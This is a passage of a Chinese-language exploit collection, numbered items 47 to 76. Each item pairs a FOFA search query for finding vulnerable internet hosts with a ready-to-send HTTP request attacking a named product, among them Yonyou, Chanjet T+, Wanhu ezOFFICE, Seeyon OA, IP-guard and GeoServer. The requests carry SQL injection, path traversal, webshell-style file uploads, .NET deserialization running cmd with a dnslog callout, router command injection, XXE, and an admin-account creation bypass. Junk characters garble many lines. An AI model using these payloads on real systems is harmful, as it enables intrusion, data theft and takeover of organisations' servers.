( v; m0 {. Z& w1 c; d6 ]7 QGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
1 L3 [7 N* y2 r  ]( ]2 D' hHost: your-ip
% F9 ^% ~% o) W2 Q! X9 X7 n6 X- |& ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 m( d/ t. ~/ L& v- W; r, U1 HConnection: close
: w! @  k7 W$ G3 i. B& b9 w
" M4 B) q$ K7 u2 R4 y; Z/ c1 P( L  {
1 o! z, s$ V6 g9 w$ K6 ~3 R47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
2 T: \0 z( g7 c& W5 g3 \. a9 tGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ E) Y. r  h0 u- D7 l- l! @: j# {0 WAccept-Language: zh-CN,zh;q=0.9
$ F6 ]+ e1 p- D6 I$ k" q: MIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
( k6 V9 u. f* N1 t; |Connection: close


5 L5 F* _7 a1 h
( H9 K5 ^9 t& F48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ h, M. d$ f, ^Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
4 ?! Q* L% P% }' p: I------269520967239406871642430066855
/ `3 r6 {  q- f/ C- q& V; k3 [Content-Disposition: form-data; name="file"; filename="s.php"
1231
3 Z# c  G! T8 w% S, e  C! w. vContent-Type: application/octet-stream
; \9 J: Z8 N$ z( k------269520967239406871642430066855
( y' ?( t% j  Q3 @& H5 l5 {Content-Disposition: form-data; name="upload"
7 c2 p7 {! j7 B6 xupload
------269520967239406871642430066855--
, ?2 s- Z0 F7 n; J+ |4 R6 U

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
% K8 ~% i9 c7 t" ]
8 s0 p' F5 J: |0 q1 ]2 X  XPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
& b- U  N4 `) O, S, A1 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 X1 m* l( L3 r& Z6 T' X; k0 B; \Content-Length: 329
3 d, S: q8 I7 }, [+ i) w7 Z# CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 a, m0 u# r4 v1 Q# LConnection: close
% @9 H9 n0 x4 I1 P3 tContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
2 z5 v' z& }3 l1 E; L
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
; ]! P, `+ _+ @5 P( o4 O  @' pContent-Type: application/octet-stream
/ h- b" c# C9 [( G
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

$ W' \/ F5 P: _6 N% d& Supload
-----------------------------vvv3wdayqv3yppdxvn3w--
5 n. ~) B" H% l2 y% ^( Q

( B2 q1 j( R* Y6 rhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

% f7 e# r! M- R50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
' h1 r  V) a' O1 FPOST /course/filterRecords/ HTTP/1.1
/ a3 x7 Q! ~% y3 \* w$ S" kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
4 J; r7 v- P6 E8 W8 o8 _Content-Length: 224
Accept: */*
0 b) J3 r1 @0 ]; y# oAccept-Language: en
5 O3 o: b9 U# |7 G8 yContent-Type: application/x-www-form-urlencoded
( G$ v* Q( c# b, gAccept-Encoding: gzip
$ q/ ~4 c, h# ?. d' o; e
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
$ X6 D. s# }+ g" @1 NFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! l: S3 X5 `- U* [8 x3 D( mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" K7 F4 @2 c' r" {/ h4 F7 A" e
- c( \) E4 v* U. k% q
52. 泛微E-Office json_common.php sql注入
7 ~0 ~& B2 G+ {6 z7 Y+ ZFOFA：app="泛微-EOffice"
3 X7 R( k! t0 c$ p: ^) c5 A: L. f3 CPOST /building/json_common.php HTTP/1.1
" J9 L  p& k/ ?' l' k7 h% `Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
: K. a/ Y& q( hAccept: */*
Accept-Language: en
3 x5 t5 y# ?4 e! v4 G( {, @8 cContent-Type: application/x-www-form-urlencoded
6 G6 B. P4 X* z/ q1 r: jAccept-Encoding: gzip

$ a8 P/ y) m0 i0 z! S( X3 W+ Rtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
4 j$ w8 Q. c' S' ]/ q

  I: s& S) ~' i/ A53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
, q$ Y! M( [% C8 q1 `% D/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

2 i5 x! @* Z7 K8 ~
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
" ]" t7 _( u: w& G1 b! D# l3 E5 @第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
) D/ g9 z5 {* i) _% O3 ?- ~; DUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

7 G0 a  S+ K( [) p0 D{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
3 h& a' P: K; B5 s1 s. l   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
% A. t+ u/ s3 m   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
9 ^/ G, J2 S6 s) f# M$ G: ?4 w$ {# g    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
9 u- G0 W. l, U1 A    }
  }
" D7 i0 U! b% z! _; {7 H  }
}


第二步，访问如下url
2 H% q$ I" ^+ S3 Z) w/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


  y8 c3 b$ U# r2 P( ^, O55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
9 k/ ^6 p& t1 ?" H/ V9 f
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
  g) [4 y& A. R; q  g( b4 EFOFA: app="畅捷通-TPlus"
& s+ e3 q5 h: c( f7 Y/ q( PPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
* k$ ^7 G2 }, R* l5 n! XHost: x.x.x.x
  o7 _. V4 I1 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
. D& {$ L( [! r, x1 \Content-Type: application/json
5 M. b. j# W* o
4 Y6 R) A/ t* T& G, q' P- Y0 O{
  "storeID":{
$ d3 e  \/ z9 ~# ]! J    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
6 _3 E  y( _1 |        "StartInfo": {
+ C9 c/ L$ C/ H3 H& e+ @           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
1 @: N: l: n7 u0 k# S5 o- ~           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
. f( \% H* Z# a+ S+ ?       }
    }
- s- f6 D% G$ V' f/ _  }
}


6 S. @( E& N+ }8 k; _' t' ?' c* r57. 畅捷通T+ keyEdit.aspx SQL注入
! e1 \. d# b! jFOFA：app="畅捷通-TPlus"
. ~2 G2 D5 N$ C: P$ K. vGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
0 C4 x& x4 Z) w* `1 U  ?- xHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
! m! S9 G/ q1 s& HAccept-Encoding: gzip, deflate
Connection: close


8 x" P6 t) ?9 E, A3 S. \- `6 S58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
. `2 K; H2 n" C, w: t" BUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
# W! O. H/ N' k8 b4 rAccept-Charset: utf-8
" G! Q; H" g4 uAccept-Encoding: gzip, deflate
! c0 e2 t& J: X; mConnection: close

: |9 K/ ~- P3 d; N- X( Q
, g# H+ O- t' ^$ G7 _3 l  b2 \59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
% d7 s# n! f' Y4 R' o- e* w3 pPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 l6 d3 r8 k* e, H" GConnection: close
Content-Length: 1669
& ?4 E$ V: n* S3 T+ V  D$ s, R+ SAccept: */*
8 X: ^& N, R/ Y2 O* s- aAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
$ i/ M: g& M4 {+ A  J# w4 [1 k# O
PAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
0 }: h. @5 M5 a7 f; iFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
+ \: }( w+ n# v5 y1 |! A( aHost:
1 n5 o8 }  a; B" F( ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ C7 S/ Y; r2 ~/ A  {) |! i) `9 NAccept-Language: zh-CN,zh;q=0.9
Connection: close
' @5 b3 `0 t. ]+ L1 v

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
* T4 }1 b# C, cFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, Y) b8 T3 h5 }  xContent-Length: 27
  U% U& y" {3 d" S2 d" AAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
! E& L9 d4 ^; q" @' b( N8 E8 P% P1 OContent-Type: application/x-www-form-urlencoded
( }% N& a  Z# ?) V- `( p% X
( Z3 z* |0 q9 F8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
& M1 b  E: j5 CFOFA："IP-guard" && icon_hash="2030860561"
4 [/ G' D$ j+ A  {GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
1 _# J9 U0 i: J1 x% @6 h9 GUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
) S8 C4 ?! z) Q0 s# v) R- }# V! Y+ qConnection: close
Accept: */*
Accept-Language: en
$ @; C- g+ q, j: e( H& v* I  X; tAccept-Encoding: gzip
- f6 s" K! `$ }1 W
& S4 o; B( {6 L, i0 n
访问
# ?/ P/ b- n" B9 L  t! a, ]
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
3 T# Y. }2 q+ B: l) Y2 JHost: x.x.x.x
5 ]8 z. S1 V* q4 Q* z/ u) [& s; T
2 O2 Z3 s) @# Y
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
! _4 Q( U+ A5 o. p7 x, U+ MHost: your-ip
  }% c" F3 D7 m+ n: N7 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 y7 E% M3 T6 n2 Z0 x8 J/ |Accept-Encoding: gzip, deflate
3 J5 a6 A# S+ b/ L1 X% q. DAccept-Language: zh-CN,zh;q=0.9
9 i1 j6 c  j9 y! x+ D+ d9 O+ gConnection: close
7 ~* f" r% `& x5 G! c/ J7 }Content-Type: application/x-www-form-urlencoded

; J. V; U- P% @3 F+ D& O2 dpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
1 L% g4 b+ X- Z' c" v, i% S( y9 n. XFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
* E. B: I& A  s" i( E! ?Content-Length: 369
Accept: */*
Accept-Language: en
/ B8 R% `- B+ E/ |1 P6 e& j4 FContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
3 B2 j1 B- D* A: ~
( W0 L7 r# g" u( S3 ^; ^9 r<?xml version="1.0" encoding="utf-8"?>
5 O- G- j  J4 M6 l2 u& d<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
7 t) L4 X: X2 P2 J7 N$ V8 c( b) [    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
' a/ H0 G' w( s' _  </soap:Body>
</soap:Envelope>

6 Q) n; ?" X$ W2 l0 j
9 F; q  G' i& _; I- h/ m65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
) l4 ^1 ?! \# f9 I/ G3 P# w5 u响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
) U- L" y# H3 n" W' kHost:
! r  T  y6 X! ~# d2 rUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
7 h2 @  V$ p2 eAccept: */*
0 e6 S0 E. @6 rConnection: close
Accept-Language: en
Content-Length: 174

2 S! o% |8 G; t! g1 \, GoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; b8 E9 Z4 Z+ C; a7 |FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
# T8 C3 K& c5 i* G; t! {* WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ k+ e/ @& }# |0 G" HConnection: close
Accept: */*
/ d' [, F$ J9 E# D. }Accept-Language: en
) i% n/ E2 j6 j$ ?& E, v, s& dAccept-Encoding: gzip
% L' ?4 P1 }2 w/ j

- \) K& z* U$ F  W5 \2 q1 p第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
% r5 R4 w4 i9 a4 H- |# e, u
67. 万户ezOFFICE wpsservlet任意文件上传
! g& Z: Y0 j# Z: d8 h4 C. B3 _FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
" M* o: H- N0 I$ Z( M0 I, h: PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
# I5 s3 y+ }' t! {9 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
3 e1 C" _/ g9 \2 t+ T/ JContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
0 _4 n4 b, D9 d( t7 H" FDNT: 1
# s+ W( O) g! U6 I, JUpgrade-Insecure-Requests: 1
# `1 ?) `3 P& G; B
--ufuadpxathqvxfqnuyuqaozvseiueerp
  A7 \! q9 Q4 E- |Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
4 a! z5 G$ u: X$ Q* {0 ^3 Q1 |
( [+ ]% B: `0 ~7 s<% out.print("sasdfghjkj");%>
' O1 }" Q; ?3 y  q% u( _9 s6 s% K# y* J--ufuadpxathqvxfqnuyuqaozvseiueerp--

' w; d  {- k. F) p1 A7 `
5 `* w( a5 P* }9 o' [2 N文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
8 C) k  F  v* Z' D/ |8 t7 {) `2 A, l
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# {6 J% m4 R5 q( r* o9 DHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
% h( s) g' O2 VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
: [; A9 Q/ f9 f% {: {1 w. ~& b" x
8 U) w. e4 S2 N) o8 K
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
# ?: s: _$ c" b! tUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
2 B6 F* B; J- ^Connection: keep-alive
  c) k$ f# v: u: Z/ `; \0 L4 p

5 T5 ^+ j1 `4 E+ [+ K3 Y8 s5 y70. 万户ezEIP success 命令执行
8 H& L1 O& f3 ^% H2 dFOFA：app="万户网络-ezEIP"
+ s4 z; G0 v7 p8 cPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
* F& D. F  Q5 S; tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
7 x7 y1 i9 i9 a& M6 P0 s. {; KSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
3 I$ A1 ~2 U2 }% G/ n9 fContent-Type: application/x-www-form-urlencoded
/ q! w* y  f$ Y- o2 ^( yTYPE: C
8 p  E: V* X! \/ I0 H- v8 x. V6 |Content-Length: 16702
$ s; `1 }' p+ j# y& A6 S& p$ l
__VIEWSTATE=PAYLOAD
3 A3 v; @! S' B% B! C6 c# {( v

) D( P' m) h! U1 V71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
# ]4 S" p. q; ?1 a" tFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
3 m# b) m  @  J6 v5 j& K% p. UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
& B! v0 c1 }3 l% \! p3 F

72. 致远OA getAjaxDataServlet XXE
7 `/ _2 [( v, Z3 n. w( ZFOFA：app="致远互联-OA"
0 }- ?- L9 N4 Q% ^POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
% m( d3 N$ @& g+ j4 VConnection: close
' ~. Z6 [$ L8 }: \3 p$ ZContent-Length: 583
Content-Type: application/x-www-form-urlencoded
) v. H( J9 R4 M. ?7 w. L& hAccept-Encoding: gzip
6 s. G/ T2 f3 \& G  I$ m8 B
* P2 L2 W: [' T8 u" }$ t$ q. K; xS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
& b1 F8 m+ n& ]2 kFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
) o5 y# _/ s& f. J( W# |7 ?# JHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 K, F" u- E& b8 l% u% `Content-Length: 1981
% J1 Y% T8 n+ Y+ C  v9 @1 OAccept-Encoding: gzip, deflate
1 i# a; M! M0 @; _- H* M" |Connection: close
; @8 s) `* O# @4 Z0 L! \- L4 VContent-Type: application/xml
SL-CE-SUID: 3
0 L- E/ l: `) O# G: I, ?5 i6 j" X1 q
PAYLOAD


; T% m7 X( E* J$ D: v( q8 `% R74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
$ `( P# O2 w% bPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
5 _0 j/ m0 S2 l4 f$ fFOFA：app="TELESQUARE-TLR-2005KSH"
9 ]: m2 U+ y& Q. q2 s. KGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ d8 l" r  |9 s( A- {2 n% mConnection: close
0 A& `3 i8 u2 {0 v5 nAccept: */*
2 k8 \, S$ A* S; R: ~& LAccept-Language: en
Accept-Encoding: gzip
: P2 L( G: _/ u5 X. ?

9 X# p* D( k( V+ G& s0 j6 wGET /cgi-bin/test28256.txt HTTP/1.1
6 }( f6 Z; A% }/ O& rHost: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
' W5 E7 R$ O& }" _. d( BFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
' M. `* b# S$ z% WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
( Z" R  @- K; eContent-Length: 211
6 {" b/ F5 M& @% `" Q6 a  y8 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
